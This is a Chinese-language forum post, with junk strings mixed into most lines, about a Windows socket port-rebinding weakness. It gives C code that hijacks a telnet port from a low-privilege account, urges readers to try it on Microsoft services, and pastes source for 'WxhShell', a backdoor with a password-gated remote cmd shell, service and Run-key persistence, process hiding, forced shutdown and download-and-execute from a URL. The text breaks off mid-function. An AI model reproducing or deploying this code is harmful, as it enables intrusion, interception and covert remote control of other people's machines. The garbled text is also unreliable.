在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
<nk7vo?Ks s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
N% !TFQf #]5A|-O^ saddr.sin_family = AF_INET;
Gv\:Agi ;^f ;< saddr.sin_addr.s_addr = htonl(INADDR_ANY);
CB KLct> S9kA69O bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
<.knM lK"m|Z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$VNj0i. Pr yR$ld.[uf 这意味着什么?意味着可以进行如下的攻击:
Q^ }Ib[ 6^VPRp 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
L )53o! (kmrWx=
$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
!4vepa}Y n]x%xnt 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8~j1 k}hTSL 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
G<W;HM j2 m'PU0x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
T8W;Lb9hQ E]c0+rh~ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
pZ)N,O3 FByA4VxB 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\<u +cwuj #include
8Xx4W^*_ #include
aQHB #include
#D ]P3 #include
^|UD&6 dx DWORD WINAPI ClientThread(LPVOID lpParam);
KbGz3O'u int main()
Ux-i iH#s {
t->I# t7 WORD wVersionRequested;
:ZsAWe{%,J DWORD ret;
sL4j@Lt WSADATA wsaData;
xRbtiFk9H BOOL val;
yN{TcX SOCKADDR_IN saddr;
Csf!I@}Z SOCKADDR_IN scaddr;
_~.S~;o!b int err;
]Ei*I} SOCKET s;
<^(>o SOCKET sc;
T8NDS7&? int caddsize;
#5yz~& HANDLE mt;
HAmAmEc, DWORD tid;
FjV)QP H wVersionRequested = MAKEWORD( 2, 2 );
V/Q/Ujgg err = WSAStartup( wVersionRequested, &wsaData );
((AIrE>Rr if ( err != 0 ) {
BF/l#)$yK printf("error!WSAStartup failed!\n");
=:*2t return -1;
+5"Pm]oRbx }
N1yx|g: saddr.sin_family = AF_INET;
$!7$0WbC C$4!|Wg3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
BFswqp: a\B'Qe+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
8 -YC#& saddr.sin_port = htons(23);
!rTkH4!_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
})umg8s {
]{ir^[A6 printf("error!socket failed!\n");
x(7Q5Uk\ return -1;
td 5!
S] }
Q" G;L val = TRUE;
Cg3 d //SO_REUSEADDR选项就是可以实现端口重绑定的
Y2aN<>f if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
8}K4M( {
LV@tt&|N
printf("error!setsockopt failed!\n");
x4XCR,- return -1;
dLbSvK<(I }
yYiu69v //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
V*gh"gZ< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
PVaqKCj:6W //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5S
4Bz VQ8Q=!] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4 u=v {
Kh7C7[& ret=GetLastError();
R1~wzy printf("error!bind failed!\n");
,}/6Za return -1;
Gz:ell$ }
Slv91c&md, listen(s,2);
]([^(&2 while(1)
c0Yc~&RF {
\:Q)X$6 caddsize = sizeof(scaddr);
-"6Z@8= //接受连接请求
^@f.~4P*I sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&AnWMFo if(sc!=INVALID_SOCKET)
p^)w$UL}} {
LRqlK\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
j8W<iy if(mt==NULL)
0M!GoqaA {
m,)o&ix1 printf("Thread Creat Failed!\n");
NH<~BC]I break;
v}TFM }
{gb` %J }
%5!K?,z% CloseHandle(mt);
]OV}yD2p }
R$bDj>8 closesocket(s);
SBg|V WSACleanup();
20/P:; return 0;
<>H^:iqn }
4q\&Mb3 DWORD WINAPI ClientThread(LPVOID lpParam)
Y=D\ {
[ d`m)MW- SOCKET ss = (SOCKET)lpParam;
-I[K IeF SOCKET sc;
NqM=Nu\ unsigned char buf[4096];
"V`5 $ur SOCKADDR_IN saddr;
rV}&G!V_t long num;
v8K`cijSS DWORD val;
.Bojb~zt DWORD ret;
1 %8JMq\ //如果是隐藏端口应用的话,可以在此处加一些判断
$|t={s34 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
hC?rHw
H> saddr.sin_family = AF_INET;
%Ix2NdC saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
p8j*m~4B saddr.sin_port = htons(23);
Muyi2F)j if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7Q9| P?&:z {
0YAH[YF printf("error!socket failed!\n");
dF><XZph return -1;
aKintb}n }
|nBs(>b val = 100;
U |Uc|6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
XTRF IY {
]CDUHz ret = GetLastError();
uH)?`I\zrd return -1;
.'NTy
R }
g3f;JB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
QUDpAW {
NAOCQDk{ ret = GetLastError();
7^C&2k5G return -1;
-vv_6ZL[ }
0:JNkXZ: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
QCO,f {
{E0\mZ2 printf("error!socket connect failed!\n");
xlH3t&i7 closesocket(sc);
5\}E4y closesocket(ss);
D!z'Y,. return -1;
5+UNLvsZ }
mpQu:i|W while(1)
=1y~Qlu {
kH`?^^_yJ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Pn l}<i //如果是嗅探内容的话,可以再此处进行内容分析和记录
x[xRqC
vL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
aYM~Ub:x{ num = recv(ss,buf,4096,0);
)iid9K<HB if(num>0)
/D964VR1M\ send(sc,buf,num,0);
@9~x@[ else if(num==0)
[Sj"gLj break;
*4%%^*g.I num = recv(sc,buf,4096,0);
A0OA7m:~4 if(num>0)
Eihy|p send(ss,buf,num,0);
"]|7%] else if(num==0)
7Ah break;
LTB
rg[X }
Bg}l$?S closesocket(ss);
&G?"I%Vw closesocket(sc);
n6G&c4g<" return 0 ;
2@IL
n+# }
%cBOi_}}~ iNc!zA4 N6`U)=2o>h ==========================================================
iCCe8nK -/2B fIq 下边附上一个代码,,WXhSHELL
@$iZ9x6t =
5[%%Lf ==========================================================
nw_s: L4Kg%icz l #include "stdafx.h"
a l9(
9) o2cc3`*8d #include <stdio.h>
7!wc'~; #include <string.h>
P- +]4\ #include <windows.h>
xGFbh4H=8p #include <winsock2.h>
O3mw5<%15 #include <winsvc.h>
T8&eaAoo #include <urlmon.h>
97~>gFU77# TZGk[u^* #pragma comment (lib, "Ws2_32.lib")
s6r(\L_Im #pragma comment (lib, "urlmon.lib")
Mdh]qKw
+v$W$s&b-h #define MAX_USER 100 // 最大客户端连接数
0+u>"7T #define BUF_SOCK 200 // sock buffer
v7Ps-a) #define KEY_BUFF 255 // 输入 buffer
R+_!FnOJ yz,0
S' U #define REBOOT 0 // 重启
H_Xk;fM #define SHUTDOWN 1 // 关机
uUV"86B_ , &n"# #define DEF_PORT 5000 // 监听端口
XE&h&v=> 9Ofls9]U #define REG_LEN 16 // 注册表键长度
aqWlX0+ #define SVC_LEN 80 // NT服务名长度
Djdd|Z+*{ v??$z#1F3 // 从dll定义API
Q*M(d\V s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
f:y1eLl3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
M2c7| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.;qh>Gt typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
R$66F>Jz^ xR8.1T?8 // wxhshell配置信息
c{ +bY.J struct WSCFG {
D_1O4/ int ws_port; // 监听端口
Ji:<eRx) char ws_passstr[REG_LEN]; // 口令
.<Jv= int ws_autoins; // 安装标记, 1=yes 0=no
y?P`vHf char ws_regname[REG_LEN]; // 注册表键名
pw5{=bD char ws_svcname[REG_LEN]; // 服务名
k2tSgJW char ws_svcdisp[SVC_LEN]; // 服务显示名
Od^Sr4C char ws_svcdesc[SVC_LEN]; // 服务描述信息
-Sn'${2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
LAY:R{vI int ws_downexe; // 下载执行标记, 1=yes 0=no
_*n
`*" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
m
OE!`fd char ws_filenam[SVC_LEN]; // 下载后保存的文件名
FD&^nJ_{ sOiM/}O] };
L[A?W r;MFVj{ // default Wxhshell configuration
aEh9za struct WSCFG wscfg={DEF_PORT,
||.Hv[
]V* "xuhuanlingzhe",
%K.r rn M 1,
N3*1,/,l. "Wxhshell",
F_m'
9KX4E "Wxhshell",
TIt\ "WxhShell Service",
HTz`$9 "Wrsky Windows CmdShell Service",
m(d|TwG{ "Please Input Your Password: ",
ez.a 1,
;<thEWH;Y "
http://www.wrsky.com/wxhshell.exe",
W amOg0 "Wxhshell.exe"
)B)f`(SA"< };
t1"#L_<e ^sFO[cYo // 消息定义模块
biBMd(6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
,hT.Ok={36 char *msg_ws_prompt="\n\r? for help\n\r#>";
k`A39ln7wu char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
-%gEND-AP char *msg_ws_ext="\n\rExit.";
eO(U):C2 char *msg_ws_end="\n\rQuit.";
hqlQ-aytS char *msg_ws_boot="\n\rReboot...";
PHEQG]H S char *msg_ws_poff="\n\rShutdown...";
kU=U u> char *msg_ws_down="\n\rSave to ";
^Il*`&+?P `CC=?E char *msg_ws_err="\n\rErr!";
&6
<a<S char *msg_ws_ok="\n\rOK!";
h_+ PB7-`uz char ExeFile[MAX_PATH];
j;7E+Yp int nUser = 0;
D6l.x]K HANDLE handles[MAX_USER];
"P54|XIJ\ int OsIsNt;
gzqp=I[% YYPJ(o\ SERVICE_STATUS serviceStatus;
b GI){0A SERVICE_STATUS_HANDLE hServiceStatusHandle;
kP^A~ZO. XPD1HN!,LT // 函数声明
?w'86^_z int Install(void);
xy4+
[u int Uninstall(void);
Hk@Gkx_ int DownloadFile(char *sURL, SOCKET wsh);
K1BBCe int Boot(int flag);
ciiI{T[Z void HideProc(void);
'21gUYm int GetOsVer(void);
)wCNLi>4 int Wxhshell(SOCKET wsl);
z7gX@@T void TalkWithClient(void *cs);
k.K#i /t int CmdShell(SOCKET sock);
P\<:.8@$S int StartFromService(void);
I[v`)T'_{ int StartWxhshell(LPSTR lpCmdLine);
W]7/
e .-/IV^lGv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
.|5$yGEF_+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
QkW'tU\^ /*k_`3L // 数据结构和表定义
FKz5,PeL SERVICE_TABLE_ENTRY DispatchTable[] =
wT6zeEV~* {
<F;+A{M) {wscfg.ws_svcname, NTServiceMain},
`]XI Q\ * {NULL, NULL}
7pciB}$2 };
qt*+ D X!/Sk1 // 自我安装
>5:O%zQ@ int Install(void)
zBTW& {
`OWHf?t: char svExeFile[MAX_PATH];
y%;o HKEY key;
q~[sKAh strcpy(svExeFile,ExeFile);
mfaU_Vo& uf9&o# // 如果是win9x系统,修改注册表设为自启动
QDV+( if(!OsIsNt) {
{?IbbT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9A} * RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#Xox2{~ RegCloseKey(key);
FE&:? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F;8Q`$n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Q= fl!>P RegCloseKey(key);
4C%pKV return 0;
<Nqbp }
{.jW"0U }
)y;7\-K0 }
_/noWwVu else {
O0xqA\ M3O !jN~ // 如果是NT以上系统,安装为系统服务
2M'dTXz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$*iovam>^] if (schSCManager!=0)
]VLseF {
3oMHy5 SC_HANDLE schService = CreateService
ZIc.MNq (
S7Ty}?E@ schSCManager,
Ec3tfcNhR wscfg.ws_svcname,
""a$[[ %WC wscfg.ws_svcdisp,
9Pe$}N SERVICE_ALL_ACCESS,
LlO8]b!P-^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@x+2b0 b SERVICE_AUTO_START,
j;Z?q%M{6 SERVICE_ERROR_NORMAL,
T-6<qh svExeFile,
m 0vW< NULL,
0FI
|7 NULL,
B6k<#-HAT NULL,
6X%g-aTs NULL,
=(D"(OsQ/ NULL
h )5S4) );
@;P ;iI if (schService!=0)
/G'3!S {
A8*zB=C CloseServiceHandle(schService);
U].]K CloseServiceHandle(schSCManager);
~Ss,he]Er strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
I*3}erT strcat(svExeFile,wscfg.ws_svcname);
35e{{Gn)v if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
w"s@q$}]8M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
FZj>N( RegCloseKey(key);
k-=LD return 0;
aW&)3C2-x }
p ZTrh&I] }
>a<1J(c CloseServiceHandle(schSCManager);
.E}lAd.Mn }
I"vkfi#= }
X]D,kKasG T TN!$?G3 return 1;
9"]#.A^Q* }
ucx02^uA }}QR' // 自我卸载
3>@VPMi int Uninstall(void)
zZ8 *a\ {
{XmCG%%L HKEY key;
, i5 _4 WJnGF3G> if(!OsIsNt) {
@CmKF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!EhKg)y= RegDeleteValue(key,wscfg.ws_regname);
3wq<@dRv4 RegCloseKey(key);
-m%`Di!E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`z0q:ME RegDeleteValue(key,wscfg.ws_regname);
/GC&@y0yi RegCloseKey(key);
8$
u"92 return 0;
h7UNmwj }
~EPVu }
x~!|F5JbM }
%ERcFI]G else {
&btI# "U-jZ5o" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
5z!$=SFz if (schSCManager!=0)
XH$r(@Z\7 {
BA]$Fi.Mw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
,dCEy+ if (schService!=0)
bT^dtEr[ {
WqCC4R,- if(DeleteService(schService)!=0) {
QH9t |l CloseServiceHandle(schService);
l\*9rs:! CloseServiceHandle(schSCManager);
njaMI8|Pa return 0;
4}uOut }
SscB&{f CloseServiceHandle(schService);
~(QfVpRnV= }
VE|l;aXi CloseServiceHandle(schSCManager);
_V-K yK }
p/HDG
^T:u }
2H)4}5H 7PX`kI return 1;
,
,{UGe3 }
1
&9|~">{C @a?7D;+< // 从指定url下载文件
MxIa,M< int DownloadFile(char *sURL, SOCKET wsh)
QS&B"7;g {
rTIu' HRESULT hr;
6(f'P_* char seps[]= "/";
Yg^ &4ZF char *token;
Y#ZgrziYM char *file;
[7FG;}lB- char myURL[MAX_PATH];
\:WWrY8& char myFILE[MAX_PATH];
qJrT c>B1cR
strcpy(myURL,sURL);
:x*)o+ token=strtok(myURL,seps);
T`ibulp while(token!=NULL)
"0P`=n {
20|`jxp file=token;
\xkKgI/ token=strtok(NULL,seps);
-Lh7!d }
3N2dV6u 56 3mz- GetCurrentDirectory(MAX_PATH,myFILE);
tX{yR'Qhu strcat(myFILE, "\\");
pa[/6( strcat(myFILE, file);
~P1~:AT send(wsh,myFILE,strlen(myFILE),0);
P2-&Im`+ send(wsh,"...",3,0);
{_O!mI* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
o eUi if(hr==S_OK)
go uU return 0;
>%j%Mj@8q| else
J~k9jeq9 return 1;
5 8bW Rqh5FzB> }
W&?Qs=@ <OMwi9 // 系统电源模块
"<!U int Boot(int flag)
I+8n;I)]X {
FmL]|~ HANDLE hToken;
br[iRda@ TOKEN_PRIVILEGES tkp;
Rm} ym9 z~
cW, if(OsIsNt) {
N T`S)P*? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Q5+1'mzAB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
L(Y1ey9x tkp.PrivilegeCount = 1;
ai{>rO3 }I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
l#'V
SFm& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
to'7o8Z if(flag==REBOOT) {
P=QxfX0B if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
9r!8BjA return 0;
%=`JWLLG }
kJWg},-\ else {
7>JTQ CJ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
d~LoHp return 0;
')y2W1 }
]:|B). }
7zb^Z] else {
b dgkA if(flag==REBOOT) {
H@Z_P p? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
.-KI,IU return 0;
E(jZ Do }
oN7SmP_ else {
gxv^=;2C if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
g4IF~\QRVi return 0;
EhcJE;S) }
$TI^8 3 }
bn(N8MFCV \i%'M% return 1;
53HA6:Q[ }
EuK}L[Kl -50DGA,K6 // win9x进程隐藏模块
zJe KB8 void HideProc(void)
x[(6V' {
/( Wq
L:$4o HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
=&}@GsXdo if ( hKernel != NULL )
36"n7 {
d*@T30 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
aZOn01v;!& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_f1o!4ocx FreeLibrary(hKernel);
O=B=0 }
Pe`(9&iT. 77P\:xc return;
^q:-ZgM> }
"4N&T# Z>hTL_|]a{ // 获取操作系统版本
m2(>KMbi int GetOsVer(void)
iQ'*QbP'Z {
=)a24PDG OSVERSIONINFO winfo;
o`bch?] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
)GD7rsC`< GetVersionEx(&winfo);
@N=vmtLP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
D|-]<r1" return 1;
[h/T IGE\ else
0U '"@A
\ return 0;
]; w 2YR }
OUX7
*_ r/Y J, 2! // 客户端句柄模块
O2w-nd74U int Wxhshell(SOCKET wsl)
M(%H {
Q]ersA8 V> SOCKET wsh;
VD;*UkapZx struct sockaddr_in client;
~tDYo)hH8 DWORD myID;
+7_qg
i7: z0z@LA4k6@ while(nUser<MAX_USER)
dWAt#xII {
@X==[gQ int nSize=sizeof(client);
UP~28%>X wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
p.DQ|? if(wsh==INVALID_SOCKET) return 1;
<kh.fu@.Q b^o4Q[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
+|A`~\@N if(handles[nUser]==0)
Rh>B#
\ closesocket(wsh);
amBg<P`'_ else
d0El2Ct8 nUser++;
gabfb# }
?nU<cx h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]aX@(3G1s o) )` "^ return 0;
XT7m3M }
#<{v~sVp& {6i|"5_j // 关闭 socket
K-RmB4WI void CloseIt(SOCKET wsh)
)Z7Vm2a {
;mQj2Bwr closesocket(wsh);
?cU,%<r nUser--;
d:kB Zrq ExitThread(0);
NL21se }
q lc@$ Knwy%5.Z // 客户端请求句柄
SUS=sR/N void TalkWithClient(void *cs)
G m~ ./- {
5EYGA\ V_7\VKR SOCKET wsh=(SOCKET)cs;
N'
hT char pwd[SVC_LEN];
&
3#7>oQ char cmd[KEY_BUFF];
\}Q=q$) char chr[1];
F*72g)hVh int i,j;
n0(Q/ E7Lqa
S while (nUser < MAX_USER) {
w h$bDTCj l\<.*6r if(wscfg.ws_passstr) {
*22Vc2[i; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
w~Tg?RH: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
d$!Q6ux; //ZeroMemory(pwd,KEY_BUFF);
WzIUHNn'I i=0;
{
I#>6 while(i<SVC_LEN) {
zPt<b!q J%"BCbxW~B // 设置超时
xo>0j# fd_set FdRead;
DbGS]k<$ struct timeval TimeOut;
br I;}m FD_ZERO(&FdRead);
n!)$e;l FD_SET(wsh,&FdRead);
Ss[[V(- TimeOut.tv_sec=8;
6bm 7^e( TimeOut.tv_usec=0;
M2Q,&>M
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
pz%s_g' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
l=DF)#>w 'D\X$^J^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
P6+ B!pY pwd
=chr[0]; *.W3V;K
if(chr[0]==0xd || chr[0]==0xa) { /,\V}`Lx"
pwd=0; )Q 2IYCj{
break; 5kGniG?T#
} sN41Bz$q.
i++; z; GQnAG@
} bP18w0>,
(/:m*x*6
// 如果是非法用户,关闭 socket ucN'
zq
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1 Pk+zBJ$
} PaCCUF
|ADf~-AY
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dl4n-*h
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eF+F"|1h
1K Vit{
while(1) { Sn nfU
Am,{Fj
ZeroMemory(cmd,KEY_BUFF); ,rMf;/[
uu6 JZp
// 自动支持客户端 telnet标准 #9,8{ O"
j=0; #^}H)>jWy
while(j<KEY_BUFF) { ZJDV'mC}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [F6)Z[uG
cmd[j]=chr[0]; A8-[EBkK
if(chr[0]==0xa || chr[0]==0xd) { sOhn@*X
cmd[j]=0; #`iEb iSq
break; ,L& yKS@
} QAkK5,`vV.
j++; od=hCQ1>
} r#zcl)rbU
IxbQ6
// 下载文件 '{
<RX
if(strstr(cmd,"http://")) { )Cy>'l*Og7
send(wsh,msg_ws_down,strlen(msg_ws_down),0); tVG;A&\,6
if(DownloadFile(cmd,wsh)) 7O55mc>cF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )LGVR3#
else z/\OtYz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i:s=
} ,`f]mv l
else { u+8"W[ZULq
%9cT#9!7
switch(cmd[0]) { }u8(7
7r;16"
// 帮助 v]EMJm6d|
case '?': { 2"D4q (@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k'8tcXs
break; iq' PeVo
} KKC%!Xy
// 安装 NtM>`5{?
case 'i': { 8\s#law
if(Install()) bTJ<8q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .jJD$FC
else [q|W*[B:@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~dS15E4-Pp
break; #scZP
} S%- kN;
// 卸载 _:[@zxT<x
case 'r': { Ao\P|K9MyL
if(Uninstall()) 3CD#OCz7&
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
D('.17
else ;`oK5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Y!#Y#c
break; @ujwN([I
} /3M8;>@u
// 显示 wxhshell 所在路径 sJZ2e6?n
case 'p': { P")I)>Q6
char svExeFile[MAX_PATH]; Y# }qXXZ>]
strcpy(svExeFile,"\n\r"); $wAR cS
strcat(svExeFile,ExeFile); u\Cf@}5(
send(wsh,svExeFile,strlen(svExeFile),0); U)G.Bst
break; #
>k|^*\
} m[eqTh4*
// 重启 !JXiTI!
case 'b': { ?9t4>xKn
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oMN<jAU.
if(Boot(REBOOT)) pq`uB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ah1
9#0
else { SVo ?o|<
closesocket(wsh); KRL.TLgq)
ExitThread(0); ~vA{I%z5~
} :^ywc O
break; ,!_6X9N-h
} wF`Y
,@
// 关机 n5=U.r
case 'd': { di/QJrw
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6C
VH)=%
if(Boot(SHUTDOWN)) O&<p
8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dizz ?O
else { OK]Q Db
closesocket(wsh); O2 >c|=#
ExitThread(0); E[t0b5h
} KhND
pwO"
break; rnZ$Qk-H
} 36{GZDGQ
// 获取shell t~(jA9n
case 's': { p
XXf5adl<
CmdShell(wsh); 3q73L<f
closesocket(wsh); 94-BcN
ExitThread(0); T[$-])iK
break; {V/>5pz4e
} I]C
Y>'
// 退出 '?Dxe
B
case 'x': { ai-s9r'MI?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _;03R{e*
CloseIt(wsh);
I6
?(@,
break; #B5,k|"/,M
} ?Ujg.xo\
// 离开 !Q[v"6?
case 'q': { I Id4w~|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 14 & KE3`
closesocket(wsh); 2yK">xYY@
WSACleanup(); ]i#p2?BR
exit(1); 0FOB5eBR
break; d[_26.
} 0cycnOd
} ]zlA<w8
}
}>hn
%[$HX'Y
// 提示信息 0<%$lr
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .v+JV6!u
} N;
}$!sNIm
} 9;#RzelSp
w&?XsO@0W
return; mU-2s%X<.^
} 6=;:[
~W21%T+
// shell模块句柄 'V7LL1K^>
int CmdShell(SOCKET sock) ZK]qQrIwy
{ _<c"/B
STARTUPINFO si; -LiGO #U
ZeroMemory(&si,sizeof(si)); 2{h2]F
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6nk}k]Ji
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M )ET1ZM
PROCESS_INFORMATION ProcessInfo; !}!KT(%%
char cmdline[]="cmd"; R0=f` ;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y5sH7`2+5
return 0; \( s `=(t
} 2V@5:tf
Q("m*eMRt
// 自身启动模式 3wv@wqx
int StartFromService(void) Z^V;B _
{ NAD^10
typedef struct A1p~K*[[
{ {P6Bfh7CZ
DWORD ExitStatus; tKt}]KHV
DWORD PebBaseAddress; sg,\!'
DWORD AffinityMask; 0i\>(o
DWORD BasePriority; @_C]5D^J^~
ULONG UniqueProcessId; :Vxt2@p{
ULONG InheritedFromUniqueProcessId; sa+
